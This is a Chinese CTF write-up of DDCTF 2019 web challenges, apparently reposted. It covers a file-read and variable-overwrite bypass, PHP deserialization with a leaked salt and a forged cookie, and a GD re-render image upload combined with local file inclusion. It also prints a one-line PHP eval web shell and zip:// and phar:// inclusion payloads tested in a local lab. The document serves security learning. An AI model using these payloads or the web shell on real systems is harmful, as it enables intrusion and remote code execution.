2019DDCTF WEB 筆記(PHP反序列化&&GD庫渲染文件上傳繞過)


滴~

先上大佬的WP(https://impakho.com/post/ddctf-2019-writeup) ~~~膜

第一題設計的是base64和文件包含,源碼泄露和變量覆蓋並且腦洞的一題目

引用這位大佬的WP里的圖片(https://www.cnblogs.com/sijidou/p/10725355.html)

題目的url看上去就像是文件包含,確實。

先是base64第二解碼,然后是16進制再轉字符串,是flag.jpg,呢么可以用php://filter讀取下源碼

源碼里有博客鏈接,進去后找到個.practice.txt.swp這樣的文章中的實例提示。呢么就嘗試這進入,然后繞過正則對!的限制

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

因為他把config替換成了!,呢么就直接利用文件包含讀唄

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

簡單的變量覆蓋,$k可以用php://input為空,$uid=為空就完事了

 

 

 

 

 

 

WEB 簽到題

emmmmm,這題看了WP挺久,因為我想把源碼都看懂,最后看懂了,發現。。emmm,簡單,代碼審計還是要多看理解下,多長點知識,補充自己不知道的點.

一開始的需要憑自己敏銳的嗅覺去發現,或者burp抓包可以看到,header頭中,ddctf_username為空,試着admin,然后就給了兩個文件路徑

先直接上源碼,因為沒做,所以直接看的大佬WP,學習的

/app/Application.php

Class Application {
    var $path = '';

    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您當前當前權限為管理員----請訪問:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您沒有登陸權限,請獲取權限后訪問-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

/app/Session.php

include 'Application.php';
class Session extends Application {

    //key建議為8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";

    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );
    }
}

$ddctf = new Session();
$ddctf->index();

這其實也是PHP序列化的題目,但是設計到了MD5的加鹽和PHP代碼審計

我的PHP代碼審計之路:先是獲得cookie,cookie是先把

$userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

這一串序列化,然后md5加鹽(即把'slat+序列化后的cookie'md5加密)然后加到序列化后的值后面,像這樣的一串

a:4:{s:10:"session_id";s:32:"3853b51fc9cd327af530a6c09e11259d";s:10:"ip_address";s:14:"223.104.64.208";s:10:"user_agent";s:11:"curl/7.61.0";s:9:"user_data";s:0:"";}97ce8958578b78e4d91ca007527dfa53

呢么我們肯定要知道eancrykey的值,才能偽造cookie,然后反序列化,因為是18個字符,猜測flag地址為../config/flag.txt,但是會把../和..\\置空,呢么可以用....//config/flag.txt來繞過.

首先是獲取eancrykey的值

if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

前面的if可以不用管,第一次獲得的cookie不用改就好,然后POST nickname=%s 就可以輸出eancrykey     這里看一下foreach,這是個遍歷數組(https://www.cnblogs.com/limeng951/p/5623607.html),並且as $k=>$v,是下標和值的對應方式,然后sprintf是格式化函數,第一次sprintf('welcome my friend %s',%s),然后$data沒變,還是有%s,$data='welcome my friend %s',那么第二次遍歷的就是$data=sprint('welcome my friend %s',eancrykey),然后$data=welcome my friend $eancrykey,知道了eancrykey后,就可以偽造cookie,impakho師傅直接用Application類序列化,看了另一個人的WP,是用session類來先偽造session,然后再序列化.這樣就麻煩了,感覺簡單的還是用Application類直接構造,

序列化的代碼

<?php
Class Application {
    var $path = '....//config/flag.txt';

    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您當前當前權限為管理員----請訪問:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您沒有登陸權限,請獲取權限后訪問-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}
$a=new Application();
echo serialize($a);
?>

序列化出來的字符串:O:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";},再用得到的eancrykey ,md5加鹽后,加再字符串后,並且urlencode一下,存到cookie中請求

ddctf_id=O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22....%2F%2Fconfig%2Fflag.txt%22%3B%7D77cd55a8d29df4f005f85e536d876525

然后就可以得到flag

 

 

Upload-IMG

這題長見識了,我自己也搭了個上傳靶場upload-labs-master,並且自己實驗了一下,二次渲染后,結合php本地包含,成功執行

配置了一下php環境,然后上傳到

先隨便將一張jgp圖片上傳,然后下載服務器端上的圖片,發現經過了渲染,gd庫處理

然后利用大佬提到鏈接里的腳本(https://xz.aliyun.com/t/2657#toc-13),處理一下

然后再上傳上去

經過腳本處理后的圖片,用winhex打開,發現已經加入phpinfo字串

然后結合文件包含漏洞ok

具體原理可以查看文章,記得這個知識點

並且我自己玩了下包含的zip://和phar://偽協議

<?php
@eval($_POST[sky]);

然后命名為sky.php,再壓縮重命名為sky.jpg,上傳后,利用http://127.0.0.1/upload-labs-master/include.php?file=zip://upload/sky.jpg#sky.php

菜刀鏈接發現連接不上

然后改用http://127.0.0.1/upload-labs-master/include.php?file=phar://upload/sky.jpg/sky.php,就能菜刀鏈接了

zip:// 格式是 zip://xxx.png%23shell.php

phar://格式是phar://xxx.png/shell.php

 

寫了半天,發現題目還是能進?我要去玩玩.前面的題目都復現成功。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM